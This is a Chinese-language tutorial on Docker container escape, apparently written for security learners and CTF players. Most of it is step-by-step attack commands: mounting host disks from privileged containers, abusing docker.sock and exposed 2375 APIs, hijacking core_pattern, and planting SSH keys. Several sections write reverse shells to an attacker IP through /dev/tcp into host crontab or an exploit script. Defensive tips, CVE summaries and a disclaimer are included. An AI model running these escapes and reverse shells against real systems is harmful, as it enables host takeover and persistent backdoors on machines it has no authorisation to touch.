2026-07-09
云攻防
00
请注意,本文编写于 128 天前,最后修改于 98 天前,其中某些信息可能已经过时。

目录

一、什么是Docker逃逸?
1.1 通俗理解
1.2 为什么会发生逃逸?
1.3 逃逸的危害
二、如何判断自己是否在Docker容器中?
2.1 方法一:查看根目录下的.dockerenv文件
2.2 方法二:查看 /proc/1/cgroup 文件
2.3 方法三:查看hostname
2.4 综合判断脚本
三、如何判断是否存在Docker逃逸的可能?
3.1 检查是否为特权模式(Privileged)
3.2 检查是否挂载了docker.sock
3.3 检查是否挂载了宿主机的procfs
3.4 检查是否挂载了宿主机根目录
3.5 检查Docker远程API是否暴露
3.6 使用自动化检测脚本
四、常用的Docker逃逸方法详解
4.1 方法一:特权模式逃逸(Privileged Mode Escape)
原理
利用步骤
防御建议
4.2 方法二:挂载Docker Socket逃逸
原理
利用步骤
防御建议
4.3 方法三:挂载宿主机procfs逃逸(core_pattern利用)
原理
利用步骤
防御建议
4.4 方法四:Docker远程API未授权访问逃逸
原理
利用步骤
防御建议
4.5 方法五:写入SSH公钥逃逸
原理
利用步骤
防御建议
4.6 方法六:写入Crontab定时任务逃逸
原理
利用步骤
4.7 方法七:SYS_PTRACE进程注入逃逸
原理
利用步骤
五、相关的CVE漏洞
5.1 CVE-2019-5736(runc容器逃逸)
5.2 CVE-2020-15257(containerd-shim API暴露)
5.3 CVE-2022-0492(cgroups释放后使用)
5.4 CVE-2024-21626(runc文件描述符泄漏)
六、如何练习Docker逃逸?
6.1 搭建本地实验环境
6.2 在线靶场推荐
6.3 推荐的练习顺序
七、Docker逃逸防御措施
7.1 最小权限原则
7.2 不要挂载敏感文件
7.3 启用User Namespace
7.4 限制Docker API访问
7.5 定期更新
7.6 使用安全扫描工具
八、总结速查表
九、常用命令速记

参考来源:先知社区、博客园、银遁安全团队、知乎等 适用人群:网络安全初学者、CTF选手、渗透测试人员


一、什么是Docker逃逸?

1.1 通俗理解

想象Docker容器是一个玻璃房子:

  • 正常情况下,你在玻璃房子里活动,只能看到和操作房子里的东西
  • Docker逃逸就是你打破玻璃,跑到房子外面(宿主机)去
  • 逃逸成功后,你就能控制整个宿主机,包括所有其他容器

1.2 为什么会发生逃逸?

Docker本身设计是安全的,但以下情况可能导致逃逸:

原因通俗解释
配置不当管理员把不该给容器的权限给了容器
挂载敏感目录把宿主机的"钥匙"(如docker.sock)挂进了容器
特权模式给了容器"万能钥匙",什么都能干
内核漏洞Linux内核本身有漏洞,容器利用漏洞突破隔离
API暴露把Docker的管理接口暴露在公网上,谁都能访问

1.3 逃逸的危害

  • 获取宿主机root权限
  • 访问宿主机上所有文件(包括其他容器的文件)
  • 横向移动到内网其他机器
  • 植入后门,持久化控制

二、如何判断自己是否在Docker容器中?

拿到一个Shell后,先判断环境!

2.1 方法一:查看根目录下的.dockerenv文件

bash
ls -al /

如果看到 .dockerenv 文件,说明你在Docker容器里。

原理:Docker启动容器时会自动在根目录创建这个隐藏文件。

2.2 方法二:查看 /proc/1/cgroup 文件

bash
cat /proc/1/cgroup
  • 宿主机:显示正常的cgroup路径,如 1:name=systemd:/
  • Docker容器:显示包含 docker/ 的路径,如 1:name=systemd:/docker/67cb98b4e1d5...

2.3 方法三:查看hostname

bash
hostname

Docker容器的hostname通常是容器ID(一长串十六进制字符),如 67cb98b4e1d5。

2.4 综合判断脚本

bash
#!/bin/bash # 判断是否在Docker容器中 if [ -f "/.dockerenv" ]; then echo "[+] 发现 .dockerenv 文件,可能在Docker容器中" fi if grep -q "docker" /proc/1/cgroup 2>/dev/null; then echo "[+] /proc/1/cgroup 包含docker标识,确认在Docker容器中" fi if [ $(hostname | wc -c) -eq 13 ]; then echo "[+] hostname长度为12位,可能是Docker容器ID" fi

三、如何判断是否存在Docker逃逸的可能?

确认在容器里后,需要检查是否有逃逸条件。

3.1 检查是否为特权模式(Privileged)

bash
cat /proc/self/status | grep CapEff
  • 特权模式:CapEff: 0000003fffffffff 或 0000001fffffffff
  • 普通模式:值会小很多

特权模式 = 给了容器"万能钥匙",几乎可以干任何事。

3.2 检查是否挂载了docker.sock

bash
ls -lah /var/run/docker.sock

如果存在这个文件,说明容器可以跟Docker守护进程直接通信。

3.3 检查是否挂载了宿主机的procfs

bash
find / -name core_pattern

如果出现两个core_pattern文件(一个在 /proc/sys/kernel/core_pattern,一个在 /host/proc/sys/kernel/core_pattern),说明挂载了宿主机的procfs。

3.4 检查是否挂载了宿主机根目录

bash
cat /proc/mounts | grep -E "workdir|overlay"

查看是否有挂载宿主机的目录。

3.5 检查Docker远程API是否暴露

bash
curl http://宿主机IP:2375

如果返回JSON数据(如 {"message":"page not found"}),说明API端口开放。

3.6 使用自动化检测脚本

bash
# 下载container-escape-check工具 git clone https://github.com/teamssix/container-escape-check cd container-escape-check python3 container-escape-check.py

四、常用的Docker逃逸方法详解

4.1 方法一:特权模式逃逸(Privileged Mode Escape)

原理

当容器以 --privileged=true 启动时:

  • 可以访问宿主机所有设备(如 /dev/sda)
  • 拥有所有Linux Capabilities权限
  • 可以挂载文件系统

利用步骤

Step 1:确认特权模式

bash
cat /proc/self/status | grep CapEff # 看到 0000003fffffffff 就对了

Step 2:查看磁盘设备

bash
fdisk -l

找到宿主机磁盘,通常是 /dev/sda5 或 /dev/vda3。

Step 3:挂载宿主机磁盘

bash
mkdir /host mount /dev/sda5 /host

Step 4:chroot切换到宿主机

bash
chroot /host whoami # 显示 root,说明成功!

Step 5(可选):写入定时任务反弹shell

bash
echo '* * * * * root bash -i >& /dev/tcp/攻击机IP/端口 0>&1' >> /host/etc/crontab

原理:在宿主机crontab里加一条任务,每分钟执行一次反弹shell。

防御建议

  • 不要用 --privileged 启动容器
  • 如果必须用,限制Capabilities

4.2 方法二:挂载Docker Socket逃逸

原理

/var/run/docker.sock 是Docker守护进程的"耳朵",谁跟它说话,它听谁的。如果容器里能访问这个文件,就能让Docker守护进程干任何事。

利用步骤

Step 1:确认docker.sock存在

bash
ls -lah /var/run/docker.sock

Step 2:安装docker客户端

bash
apt-get update && apt-get install curl -y curl -fsSL https://get.docker.com/ | sh

Step 3:创建新容器并挂载宿主机根目录

bash
docker run -it -v /:/host ubuntu /bin/bash

这条命令的意思是:用docker.sock的权限,启动一个新容器,把宿主机的根目录 / 挂到新容器的 /host 目录。

Step 4:chroot逃逸

bash
chroot /host whoami # root

防御建议

  • 不要将 /var/run/docker.sock 挂载到不可信容器
  • 使用Docker Content Trust验证镜像

4.3 方法三:挂载宿主机procfs逃逸(core_pattern利用)

原理

/proc/sys/kernel/core_pattern 是一个特殊文件,控制程序崩溃时怎么处理。如果它的内容以 | 开头,后面跟的是一个脚本路径,程序崩溃时会执行这个脚本。

如果容器挂载了宿主机的 /proc,就能修改宿主机的 core_pattern,让宿主机在程序崩溃时执行我们的恶意脚本。

利用步骤

Step 1:确认挂载了procfs

bash
find / -name core_pattern # 如果看到两个结果,说明挂载了

Step 2:查看当前core_pattern

bash
cat /proc/sys/kernel/core_pattern

Step 3:找到容器在宿主机上的绝对路径

bash
cat /proc/mounts | grep docker # 关注 upperdir 的值

比如得到路径:/var/lib/docker/overlay2/xxx/diff

Step 4:创建反弹shell脚本

bash
cat <<EOF > /exp.sh #!/bin/bash bash -i >& /dev/tcp/攻击机IP/端口 0>&1 EOF chmod +x /exp.sh

Step 5:修改core_pattern

bash
echo "|/var/lib/docker/overlay2/xxx/diff/exp.sh" > /proc/sys/kernel/core_pattern

Step 6:触发程序崩溃

bash
sleep 10 & kill -SIGSEGV $!

SIGSEGV 是段错误信号,会让程序崩溃,触发core dump,从而执行我们的脚本。

Step 7:攻击机监听

bash
nc -lvvp 端口

防御建议

  • 不要将 /proc 挂载到容器中
  • 启用User Namespace隔离

4.4 方法四:Docker远程API未授权访问逃逸

原理

Docker默认监听Unix Socket,但如果管理员配置错误,把它监听在了 0.0.0.0:2375,任何人都能远程控制Docker。

利用步骤

Step 1:确认API开放

bash
curl http://目标IP:2375 # 返回 {"message":"page not found"} 说明存在

Step 2:远程连接Docker

bash
docker -H tcp://目标IP:2375 images

Step 3:创建容器挂载宿主机根目录

bash
docker -H tcp://目标IP:2375 run -it -v /:/host ubuntu:18.04 /bin/bash

Step 4:chroot逃逸

bash
chroot /host

防御建议

  • 不要将Docker API暴露在公网
  • 使用TLS加密通信
  • 配置防火墙限制访问

4.5 方法五:写入SSH公钥逃逸

原理

如果能挂载宿主机的根目录到容器,就能往宿主机的 /root/.ssh/authorized_keys 写入自己的公钥,实现免密登录。

利用步骤

Step 1:攻击机生成密钥对

bash
ssh-keygen -t rsa -b 4096 -C "backdoor@attacker.com" -f ~/.ssh/docker_escape

Step 2:查看公钥

bash
cat ~/.ssh/docker_escape.pub

Step 3:在容器里创建.ssh目录并写入公钥

bash
mkdir -p /host/root/.ssh chmod 700 /host/root/.ssh cat >> /host/root/.ssh/authorized_keys << 'EOF' ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAA... backdoor@attacker.com EOF chmod 600 /host/root/.ssh/authorized_keys chown root:root /host/root/.ssh/authorized_keys

Step 4:SSH连接宿主机

bash
ssh -i ~/.ssh/docker_escape root@目标IP

防御建议

  • 监控 /root/.ssh/authorized_keys 文件变化
  • 使用SSH密钥审计工具

4.6 方法六:写入Crontab定时任务逃逸

原理

如果能挂载宿主机根目录,就能修改 /etc/crontab,添加定时任务反弹shell。

利用步骤

Step 1:确认挂载了宿主机根目录

bash
ls /host # 看到宿主机的文件系统就对了

Step 2:写入定时任务

bash
echo '* * * * * root bash -i >& /dev/tcp/攻击机IP/端口 0>&1' >> /host/etc/crontab

Step 3:攻击机监听

bash
nc -lvvp 端口

等待1分钟,就能收到shell。


4.7 方法七:SYS_PTRACE进程注入逃逸

原理

如果容器启用了 SYS_PTRACE Capability,容器内的进程可以ptrace其他进程。利用这个可以注入到宿主机进程,执行任意代码。

利用步骤

Step 1:确认有SYS_PTRACE

bash
cat /proc/self/status | grep CapEff

Step 2:查找宿主机进程

bash
ps aux

Step 3:使用ptrace注入

bash
# 需要专门的工具,如 ptrace-inject # 具体利用较复杂,需要编写注入代码

这个方法比较复杂,适合进阶学习。


五、相关的CVE漏洞

5.1 CVE-2019-5736(runc容器逃逸)

项目内容
影响范围runc <= 1.0-rc6
漏洞原理通过覆盖 /proc/self/exe 实现容器逃逸
利用条件容器以root运行,且能执行恶意程序
修复方案升级runc到1.0-rc7及以上

通俗解释:runc是Docker用来启动容器的工具。这个漏洞让容器里的程序能"替换"runc本身,下次启动容器时就执行了我们的恶意代码。

5.2 CVE-2020-15257(containerd-shim API暴露)

项目内容
影响范围containerd < 1.3.9 / < 1.4.3
漏洞原理containerd-shim的API暴露给容器,可控制宿主机进程
利用条件使用host网络模式
修复方案升级containerd

5.3 CVE-2022-0492(cgroups释放后使用)

项目内容
影响范围Linux内核 < 5.17
漏洞原理cgroups v1的release_agent机制存在漏洞
利用条件容器有CAP_SYS_ADMIN权限
修复方案升级内核或限制Capabilities

5.4 CVE-2024-21626(runc文件描述符泄漏)

项目内容
影响范围runc < 1.1.12
漏洞原理runc泄漏了宿主机的文件描述符,容器可访问宿主机文件
利用条件特定条件下的容器启动
修复方案升级runc到1.1.12及以上

六、如何练习Docker逃逸?

6.1 搭建本地实验环境

环境要求:一台Linux虚拟机(推荐Ubuntu)

Step 1:安装Docker

bash
# Ubuntu sudo apt-get update sudo apt-get install docker.io -y sudo usermod -aG docker $USER

Step 2:搭建各种漏洞场景

bash
# 场景1:特权模式容器 docker run --rm --privileged=true -it ubuntu # 场景2:挂载docker.sock docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu # 场景3:挂载procfs docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu # 场景4:远程API暴露 # 修改 /lib/systemd/system/docker.service # 在ExecStart后添加 -H tcp://0.0.0.0:2375 sudo systemctl restart docker

6.2 在线靶场推荐

靶场名称地址说明
Vulhubhttps://vulhub.org/各种Docker漏洞环境
HackTheBoxhttps://www.hackthebox.com/真实渗透测试环境
TryHackMehttps://tryhackme.com/有Docker逃逸专项练习
CTFShowhttps://ctf.show/国内CTF平台,有容器逃逸题
BUUCTFhttps://buuoj.cn/有Docker相关题目

6.3 推荐的练习顺序

  1. 先学判断:练习如何判断自己在容器里
  2. 特权模式:最简单的逃逸方式,先练这个
  3. docker.sock:理解Docker通信机制
  4. procfs:理解Linux proc文件系统
  5. 远程API:理解网络层面的风险
  6. CVE漏洞:进阶,理解底层原理

七、Docker逃逸防御措施

7.1 最小权限原则

bash
# 不要用特权模式 docker run --privileged=true ... # ❌ 危险! # 限制Capabilities docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE ... # ✅ 安全

7.2 不要挂载敏感文件

bash
# 不要挂载这些: /var/run/docker.sock # ❌ /proc # ❌ / # ❌(宿主机根目录) /dev/sda* # ❌(磁盘设备)

7.3 启用User Namespace

bash
# /etc/docker/daemon.json { "userns-remap": "default" }

7.4 限制Docker API访问

bash
# 只监听本地Unix Socket # /lib/systemd/system/docker.service ExecStart=/usr/bin/dockerd -H unix:///var/run/docker.sock # ✅ # 不要加 -H tcp://0.0.0.0:2375 # ❌

7.5 定期更新

bash
# 保持Docker和内核最新 sudo apt-get update && sudo apt-get upgrade docker.io

7.6 使用安全扫描工具

bash
# 扫描镜像漏洞 docker scan 镜像名 # 运行时安全监控(如Falco)

八、总结速查表

逃逸方式判断条件核心利用命令难度
特权模式CapEff=3fffffffffmount + chroot⭐
docker.sock存在/var/run/docker.sockdocker run -v /:/host⭐⭐
procfs挂载两个core_pattern修改core_pattern触发崩溃⭐⭐⭐
远程API2375端口开放docker -H tcp://...⭐⭐
SSH公钥挂载宿主机根目录写入authorized_keys⭐⭐
定时任务挂载宿主机根目录写入/etc/crontab⭐⭐
CVE漏洞特定版本利用脚本⭐⭐⭐⭐

九、常用命令速记

bash
# ========== 信息收集 ========== ls -al / # 看.dockerenv cat /proc/1/cgroup # 看docker标识 hostname # 看容器ID cat /proc/self/status | grep CapEff # 看特权模式 ls -lah /var/run/docker.sock # 看docker.sock find / -name core_pattern # 看procfs挂载 fdisk -l # 看磁盘设备 cat /proc/mounts | grep docker # 看挂载路径 # ========== 特权模式逃逸 ========== mkdir /host && mount /dev/sda5 /host chroot /host # ========== docker.sock逃逸 ========== docker run -it -v /:/host ubuntu /bin/bash chroot /host # ========== procfs逃逸 ========== echo "|/path/to/exp.sh" > /proc/sys/kernel/core_pattern sleep 10 &; kill -SIGSEGV $! # ========== 远程API逃逸 ========== docker -H tcp://IP:2375 run -it -v /:/host ubuntu /bin/bash # ========== 反弹shell ========== bash -i >& /dev/tcp/IP/PORT 0>&1 nc -lvvp PORT # 攻击机监听

免责声明:本笔记仅供学习交流使用,请勿用于非法用途。进行安全测试前请确保获得授权。